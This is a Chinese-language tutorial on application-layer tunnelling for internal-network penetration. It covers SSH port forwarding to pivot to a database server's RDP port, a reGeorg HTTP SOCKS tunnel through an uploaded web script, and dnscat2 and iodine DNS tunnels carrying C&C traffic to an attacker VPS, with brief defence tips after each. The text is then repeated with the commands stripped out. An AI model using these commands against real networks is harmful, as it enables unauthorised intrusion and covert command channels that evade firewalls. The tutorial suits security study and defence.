内网渗透之应用层隧道技术
字数 1297 2025-08-25 22:59:09

内网渗透之应用层隧道技术详解

前言

应用层隧道技术主要利用软件提供的端口来发送数据,是内网渗透中重要的技术手段。常用的隧道技术协议包括SSH、HTTP/HTTPS以及DNS。

SSH隧道技术

SSH基本命令参数

  • -C:压缩传输,提高传输速度
  • -f:将SSH传输转入后台执行,不占用当前Shell
  • -N:建立静默连接(建立了连接,但看不到具体会话)
  • -g:允许远程主机连接本地用于转发的端口
  • -L:本地端口转发
  • -R:远程端口转发

本地端口转发

实验环境

  • 攻击者VPS (192.168.1.76)
  • Web服务器 (外网IP:192.168.1.26,内网IP:172.168.1.16)
  • 数据库服务器 (IP:172.168.1.18)

目标:以web服务器为跳板,访问数据库服务器的3389端口

实现命令

ssh -CfNg -L 1153(VPS端口):172.168.1.18(目标主机):3389(目标端口) root@192.168.1.26(跳板机)

验证连接

netstat -tulnp | grep "1153"
rdesktop 127.0.0.1:1153

工作原理

  1. VPS上的随机端口与Web服务器的22号端口连接
  2. Web服务器内网随机端口与数据库服务器的3389端口连接
  3. 本地访问VPS的1153端口时,请求通过SSH协议发送至Web服务器
  4. Web服务器解封装后形成远程桌面连接流量,发送至数据库服务器

远程端口转发

实验环境

  • 攻击者VPS (192.168.1.76)
  • Web服务器 (内网IP:172.168.1.16)
  • 数据库服务器 (内网IP:172.168.1.18)

目标:通过外部VPS访问数据库服务器的3389端口

实现命令(在Web服务器上执行):

ssh -CfNg -R 3307(VPS端口):172.168.1.18(目标主机):3389(目标端口) root@192.168.1.76

访问方法

rdesktop 127.0.0.1:3307

工作原理

  1. VPS作为SSH服务端,开启22号端口
  2. Web服务器以客户机身份连接VPS的22号端口
  3. Web服务器转发VPS 3307端口的流量至数据库服务器3389端口

动态端口转发

实现命令

ssh -CfNg -D 7000 root@192.168.1.26

使用方法
在浏览器中设置SOCKS代理为127.0.0.1:7000

SSH隧道防御措施

  1. 配置SSH远程管理白名单
  2. ACL限制特定IP连接SSH
  3. 使用带外管理系统

HTTP/HTTPS隧道技术

reGeorg工具使用

实验环境

  • Win10 (外网IP:192.168.1.9)
  • Web服务器 (外网IP:192.168.1.26,内网IP:172.168.1.16)
  • 防火墙仅允许80端口出外网

实现步骤

  1. 上传适合目标服务器的reGeorg脚本
  2. 执行命令:
python reGeorgSocksProxy.py -p 9999 -u http://192.168.1.26/tunnel.php
  1. 使用Proxifier代理9999端口的流量

DNS隧道技术

DNS隧道原理

利用DNS协议进行数据交换,将C&C指令隐藏在DNS查询结果中返回。

dnscat2工具使用

中继模式配置

  1. 服务端安装:
apt-get install gem ruby-dev libpq-dev ruby-bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
  1. 启动服务端:
sudo ruby ./dnscat2.rb vps.example.top -e open -c cookie --no-cache
  1. 客户端连接:
dnscat2-v0.07-client-win32.exe --dns domain=vps.example.top --secret cookie

iodine工具使用

  1. 服务端运行:
iodined -f -c -P cookie 10.1.1.1 vps.example.top
  1. 客户端连接:
iodine -fP cookie vps.example.top
  1. 使用方法:
ssh root@10.1.1.1
mstsc 10.1.1.1:3389

DNS隧道防御措施

  1. 只允许与受信任的DNS服务器通信
  2. 将邮件服务器网关列入白名单并阻止TXT请求
  3. 跟踪用户DNS查询次数,设置阈值报警
  4. 阻止ICMP

总结

应用层隧道技术是内网渗透中的重要手段,通过SSH、HTTP/HTTPS和DNS等协议可以绕过防火墙限制,建立隐蔽的通信通道。防御这类攻击需要从网络访问控制、流量监控和行为分析等多方面入手。

内网渗透之应用层隧道技术详解 前言 应用层隧道技术主要利用软件提供的端口来发送数据,是内网渗透中重要的技术手段。常用的隧道技术协议包括SSH、HTTP/HTTPS以及DNS。 SSH隧道技术 SSH基本命令参数 -C :压缩传输,提高传输速度 -f :将SSH传输转入后台执行,不占用当前Shell -N :建立静默连接(建立了连接,但看不到具体会话) -g :允许远程主机连接本地用于转发的端口 -L :本地端口转发 -R :远程端口转发 本地端口转发 实验环境 : 攻击者VPS (192.168.1.76) Web服务器 (外网IP:192.168.1.26,内网IP:172.168.1.16) 数据库服务器 (IP:172.168.1.18) 目标 :以web服务器为跳板,访问数据库服务器的3389端口 实现命令 : 验证连接 : 工作原理 : VPS上的随机端口与Web服务器的22号端口连接 Web服务器内网随机端口与数据库服务器的3389端口连接 本地访问VPS的1153端口时,请求通过SSH协议发送至Web服务器 Web服务器解封装后形成远程桌面连接流量,发送至数据库服务器 远程端口转发 实验环境 : 攻击者VPS (192.168.1.76) Web服务器 (内网IP:172.168.1.16) 数据库服务器 (内网IP:172.168.1.18) 目标 :通过外部VPS访问数据库服务器的3389端口 实现命令 (在Web服务器上执行): 访问方法 : 工作原理 : VPS作为SSH服务端,开启22号端口 Web服务器以客户机身份连接VPS的22号端口 Web服务器转发VPS 3307端口的流量至数据库服务器3389端口 动态端口转发 实现命令 : 使用方法 : 在浏览器中设置SOCKS代理为127.0.0.1:7000 SSH隧道防御措施 配置SSH远程管理白名单 ACL限制特定IP连接SSH 使用带外管理系统 HTTP/HTTPS隧道技术 reGeorg工具使用 实验环境 : Win10 (外网IP:192.168.1.9) Web服务器 (外网IP:192.168.1.26,内网IP:172.168.1.16) 防火墙仅允许80端口出外网 实现步骤 : 上传适合目标服务器的reGeorg脚本 执行命令: 使用Proxifier代理9999端口的流量 DNS隧道技术 DNS隧道原理 利用DNS协议进行数据交换,将C&C指令隐藏在DNS查询结果中返回。 dnscat2工具使用 中继模式配置 : 服务端安装: 启动服务端: 客户端连接: iodine工具使用 服务端运行: 客户端连接: 使用方法: DNS隧道防御措施 只允许与受信任的DNS服务器通信 将邮件服务器网关列入白名单并阻止TXT请求 跟踪用户DNS查询次数,设置阈值报警 阻止ICMP 总结 应用层隧道技术是内网渗透中的重要手段,通过SSH、HTTP/HTTPS和DNS等协议可以绕过防火墙限制,建立隐蔽的通信通道。防御这类攻击需要从网络访问控制、流量监控和行为分析等多方面入手。